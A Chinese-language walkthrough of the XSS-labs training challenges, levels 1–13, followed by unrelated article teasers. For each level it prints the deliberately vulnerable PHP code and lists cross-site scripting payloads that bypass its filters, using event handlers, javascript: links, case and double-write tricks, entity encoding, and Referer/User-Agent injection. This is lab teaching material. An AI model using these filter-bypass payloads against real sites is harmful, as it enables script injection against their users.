【安全】Xsslabs(1~13)基于白盒测试浅析

目录

环境

关卡

level 1 

level 2 

level 3 

level 4 

level 5 

level 6

level 7

level 8  

扩展 

 level 9

level 10

level 11 

 level 12

level 13 

 总结


环境

        PHP:php7.3.4nts 

        中间件:Nginx1.15.11

        工具:Hackbar

关卡

level 1 

 

 

代码审计:

  Dom反射型,url -> web

$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
//可以看到没有对输入有任何过滤
//意思就是我们可以任意操控$str的内容,那就可以用"把name的传的值先闭合了

//如果name的值传的是1"<script>alert</script>
//那解析后就会变成👇
echo "<h2 align=center>欢迎用户"1"<script>alert</script>"</h2>";

 

 byPass:考查 -- 闭合双引号

"<script>alert(xss)</script>
"<script>confirm('xss')</script>
"<script>alert(String.fromCharCode(65))</script>
"<a href="javascript:alert('xss')">aaa</a>
"<img src=1 onerror="alert('xss')">
"<svg onload=alert(1)>
"<video src=1 onerror=alert(1)>
"<button onfocus=alert(1) autofocus>
"<body onload=alert(1)>
"<iframe src="javascript:alert('1')"></iframe> (这个是成功的,只是不算过关而已)
"<iframe onload=alert(1)></iframe>
"<input onfocus=alert(1) autofocus>
(挑着没被过滤掉的用就行,后边也有能用着的)

  

level 2 

 

         初步观察有点像普通反射型xss(url -> 服务器 -> web)

代码审计:

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
(发现这玩意两头通,如果走下面的input就是普通反射,走url就是dom反射)

注意:.htmlspecialchars($str).是把str中的" < > &都变成html实体了,
      所以不会解析出来,所以那里是走不通的 

byPass:考查 -- 闭合input标签 ">

"><img src=1 onerror="alert('xss')
"><script>alert(1)</script>
" onmouseover="alert(1) (也可也直接在input里玩)
//记着str的前后内容"'str'">
...

 

 

level 3 

 

        和2的样子差不多,直接试试2的bypass能过不 

         显然,没闭合上

代码审计:

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>

        分析 :这里很贴心的营造了能过关的环境,htmlspecialchars转换默认是不会转换 ' 的,所以只需要 ' 闭合value后,在input中使用on触发事件即可

        尝试  ' οnclick=alert(1)

         后边还差个单引号

bypass:考查 -- 在默认情况下绕过htmlspecialchars

' onclick=alert(1)'
' onmouseover='alert(1)
...

 

level 4 

 

 

 

        传个双引号发现前端变这样了,决定试一下" οnclick="alert(1) ..过了

代码审计:

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
<input name=keyword  value="'.$str3.'">

   分析:只是把左右尖括号给替换掉了,不用标签就行,直接on触发事件

byPass:

" onclick="alert(1)
on...

 

level 5 

 

 

         感觉level4那些on事件能行,试上一试

 

         on被替换成o_n了

代码审计:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
<input name=keyword  value="'.$str3.'">

   分析:先是把传的值变小写了,然后把<script>和on都给屏蔽了,level1里边一堆bypass都没用到<script>直接抓来用,记得闭合value和input标签

byPass:

"<a href="javascript:alert('xss')">aaa</a>
不用on和<script>...

 

level 6

 

 

        传个双引号又把value闭合了,估计又过滤了一些输入

         试一试大小写绕过没," oNclick="alert(1)

        显然这个题应该考的就是大小写

代码审计 :

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
<input name=keyword  value="'.$str6.'">

   分析:没把输入过滤大小写

 byPass:考查 -- 大小写绕过

" oNclick="alert(1)
大小写都没绕随便pass...

 

level 7

 

 

         反手试一下传个"

        说明还是在过滤上下功夫 

 代码审计:

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str6.'">

   分析:上面的双引号出不来闭合不上,只能从下边想办法,做了小写处理大小写绕过也不考虑了,之后过滤的东西太多,把我知道的差不多都过滤了, 但他的过滤是替换成空,直接双写拿下

byPass:考查 -- 双写绕过

" oonnclick="alert(1)
只要双写,bypass就多了 <scrscriptipt>等等,过滤后会去中间留两边

 

level 8  

 

        多了个新东西 

 

         随便试一下 " οnclick=alert(1)

        全被换成实体字符了,既然如此看能不能用关于a标签的绕过把友情链接那绕过了

         实验  " href="javascript:alert('xss')

老实代码审计:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
<input name=keyword  value="'.htmlspecialchars($str).'">
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

扩展 

HTML字符实体:&lt;&gt;

HTML字符编码:&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;

URL编码:%61%6c%65%72%74%28%32%29

Unicode编码:\u0061\u006c\u0065\u0072\u0074

例子1:<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:

%61%6c%65%72%74%28%32%29">

解析过程:丢给html解析->检测到后边有url编码,丢给url解析器解析->发现有javascript:然后丢给js模块解析,js能把unicode(只能字符串和标识符 _ 字母 数字 )解析了

例子2:<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>

<script>只能容纳文本所以会直接丢给js处理,()不在字符串和标识符范围内,所以必须直接写不能用unicode编码,这里有意思的是,解析完按道理说是alert(12)但是12用了两个编码那就会被认成字符串,既然是字符串就要''所以这里也会解析失败

正确:<script>\u0061\u006c\u0065\u0072\u0074( '\u0031\u0032)</script>

byPass:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)
解析出来是javascript:alert(1)

 

 level 9

        先把level8的来试一试 

         看来是对输入进行了判断

代码审计:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
<input name=keyword  value="'.htmlspecialchars($str).'">
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

        试一下把alert(1) 换成 alert( 'http://' )

         成功了

byPass:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert('http://')

还可以把后边的alert换成url编码
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28'http://'%29

 

level 10

 

         在前端代码里找到了点好玩的东西(下面的隐藏属性)

         传参看看能传进去不

 

        发现t_sort居然传进去了,直接动手换type

 

 

 

        现在t_sort的value到type的空间已经可以任意施为了 

 

 byPass:

keyword=1&t_sort=" onclick=alert(1) type="text"

 顺便看看代码:很明显能传俩参数

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name="t_sort"  value="'.$str33.'" type="hidden">

 

level 11 

 

         有点像level 10再看看

        好家伙,多了个t_ref看着是个url从名字上来看是referer 

         传着看看

        t_ref没传进去,显然不是参数,t_sort传进去了?!莫非...

        ?keyword=1&t_sort=" type="text" 玩进去试试,没生效,看来是被过滤成文本了

 

代码审计:

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">

  分析:t_sort的值用htmlspecialchars过滤了,逃不出去只能从t_ref动手,t_ref的值是referer所以传来试试

 

 byPass:

 

 level 12

 

 

         这属性有点眼熟

         实验一下

 

        通了,这算是一个题考两次了 

顺便看代码:

$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_ua"  value="'.$str33.'" type="hidden">

 

level 13 

 

 

        看着有点眼熟,cookies试一试

         错了,应该没这么简单,需要有正确的cookies

 

        这是现在的cookies

 byPass:

 

 

 总结

        这些xss都较为简单,包括了一些解析顺序,编码方式,请求头的一丢丢知识,但都只是selfxss,不堪大用,不过作为xss入门还是很好的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/36363.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

计网简答题

答案不保证正确性&#xff0c;仅供参考。 1.有如图所示的以太网&#xff0c;每个交换机的名字及接口号、主机的名字及MAC地址都标明在图中。网络初启动时&#xff0c;两个交换机的转发表都为空&#xff0c;接着先后进行以下MAC帧传输&#xff1a;H1→H5&#xff0c;H3→H2&…

SPEC CPU 2006 在 CentOS 5.0 x86_64 古老系统测试【2】

上一篇 SPEC CPU 2006 在 CentOS 5.0 x86_64 古老系统测试_hkNaruto的博客-CSDN博客 虚拟机时间&#xff0c;一天后获得结果 由于ssh版本太低&#xff0c;采用nc把文件拷贝出来 结果 SPEC CFP2006 Result Copyright 2006-2023 Standard Performance Evaluation Corporatio…

vue3+cesium项目搭建

前言 最近需要在一个Vue3的项目中使用到cesium&#xff0c;对于一个cesium没有太多了解的人来说&#xff0c;还是比较麻烦的&#xff0c;本篇博文就将自己在这个过程踩的坑记录下来&#xff0c;有需要的可以看一下 1、vuecesium框架搭建 2、项目运行起来后&#xff0c;球体不…

IP协议【图解TCP/IP(笔记九)】

文章目录 IP即网际协议IP相当于OSI参考模型的第3层网络层与数据链路层的关系 IP基础知识IP地址属于网络层地址路由控制■ 发送数据至最终目标地址■ 路由控制表 数据链路的抽象化IP属于面向无连接型 IP即网际协议 TCP/IP的心脏是互联网层。这一层主要由IP&#xff08;Internet…

【MySQL系列】在Centos7环境安装MySQL

「前言」文章内容大致是在Centos7环境安装MySQL&#xff0c;演示安装的版本为5.7 「归属专栏」MySQL 「主页链接」个人主页 「笔者」枫叶先生(fy) 「枫叶先生有点文青病」「句子分享」 浮生梦&#xff0c;三生渺渺&#xff0c; 因缘无踪&#xff0c;虽堪恋&#xff0c;何必…

uniapp 微信小程序导航功能(从地址列表内点击某一个地址)

效果图&#xff1a; <template><view class"user"><view class"list"><view class"title">地址列表</view><view class"title-label"><view>名称</view><view>距离&#xff…

如何做好大客户管理?一文讲清方法、策略、案例

《连线》杂志创始人凯文凯利&#xff08;Kevin Kelly&#xff09;在《技术元素》一书中写道&#xff1a;“数量不是目的&#xff0c;质量才是根本&#xff0c;重视1%的超级用户才是提高效率的关键。” 根据“二八定律”&#xff0c;通常20%的大客户会带来80%的项目和收益。这点…

react 利用antd-mobile实现楼层效果

首先是js模块 import React, { useEffect, useRef, useState } from react import { SideBar } from antd-mobile import ./louceng.css import { useThrottleFn } from ahooksconst items [{ key: 1, title: 第一项, text: <div>12313212313第一项12313212313第一项1…

Python 运算符(一)

文章目录 前言什么是运算符&#xff1f;Python算术运算符Python比较运算符Python赋值运算符Python位运算符 前言 Python 运算符是用于执行各种运算的符号。Python 支持各种类型的运算符&#xff0c;包括算术运算符、比较运算符、逻辑运算符等。在使用 Python 进行编程时&#…

qt 闹钟实现

实现一个闹钟 自定义时间 按下开始后 开始计时&#xff0c;结束计时会播报语音 widget.h #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QTimer> #include <QTimerEvent> #include <QDateTime> #include <QTime> #include …

【LittleXi】 N-gram模型(C++实现)

LittleXi N-gram模型&#xff08;C实现&#xff09;马尔科夫性 (独立性假设)代码实现英文训练版本中文训练版本 训练效果 N-gram模型&#xff08;C实现&#xff09; 定义&#xff1a;通俗地讲&#xff0c;就是利用前文的单词&#xff0c;来推算下一个最大概率出现的单词 马尔…

springboot超市进销存系统

本次设计任务是要设计一个超市进销存系统&#xff0c;通过这个系统能够满足超市进销存系统的管理及员工的超市进销存管理功能。系统的主要功能包括&#xff1a;首页、个人中心、员工管理、客户管理、供应商管理、承运商管理、仓库信息管理、商品类别管理、 商品信息管理、采购信…

Elasticsearch 8.8.1安装及启动

华为云的镜像去下载 ElasticSearch: https://mirrors.huaweicloud.com/elasticsearch/?CN&OD logstash: https://mirrors.huaweicloud.com/logstash/?CN&OD kibana: https://mirrors.huaweicloud.com/kibana/?CN&OD 原文链接&#xff1a;https://blog.csdn.ne…

2022前端趋势报告(下)

前端博主&#xff0c;热衷各种前端向的骚操作&#xff0c;经常想到哪就写到哪&#xff0c;如果有感兴趣的技术和前端效果可以留言&#xff5e;博主看到后会去代替大家踩坑的&#xff5e; 主页: oliver尹的主页 格言: 跌倒了爬起来就好&#xff5e; 一、前言 本文内容来自于《St…

RocketMQ5.0消息消费<二> _ 消息队列负载均衡机制

RocketMQ5.0消息消费&#xff1c;二&#xff1e; _ 消息队列负载均衡机制 一、消费队列负载均衡概览 RocketMQ默认一个主题下有4个消费队列&#xff0c;集群模式下同一消费组内要求每个消费队列在同一时刻只能被一个消费者消费。那么集群模式下多个消费者是如何负载主题的多个…

阿里云绑定域名

在阿里云安全组与宝塔安全放开8081端口 server {listen 8081;server_name www.whxyyds.top;charset utf-8;location / {root /home/ruoyi/projects/ruoyi-ui;try_files $uri $uri/ /index.html;index index.html index.htm;}location /prod-api/ {proxy_set_header …

为生信写的Python简明教程 | 视频10

开源生信 Python教程 生信专用简明 Python 文字和视频教程 源码在&#xff1a;https://github.com/Tong-Chen/Bioinfo_course_python 目录 背景介绍 编程开篇为什么学习Python如何安装Python如何运行Python命令和脚本使用什么编辑器写Python脚本Python程序事例Python基本语法 数…

第N4周:使用Word2vec实现文本分类

目录 二、数据预处理1.加载数据2.构建词典3.生成数据批次和迭代器 二、模型构建1.搭建模型2.初始化模型3.定义训练与评估函数 三、训练模型1.拆分数据集并运行模型2.测试指定数据 &#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&…

Spring Boot 系列2 -- 配置文件

目录 1. 配置文件的作用 2. 配置文件的格式 3. properties 配置文件说明 3.1 properties 基本语法 3.2 读取配置文件 3.3 properties 缺点 4.yml 配置文件说明 4.1 yml 基本语法 4.2 yml 使用进阶 4.2.1 yml 配置不同数据类型及 null 4.2.2 yml 配置读取 4.2.3 注意…

DPWWN1靶场详解

DPWWN1靶场详解 首先还是nmap -sP 192.168.102.0/24扫描到ip地址&#xff0c;然后对这个ip进行一个单独的扫描&#xff0c;发现这个靶场有一个mysql数据库&#xff0c;猜测可能会用到sql注入&#xff0c;但是没用到。 ip登陆到网页发现并没有什么可利用的 唯一的切入点也就数…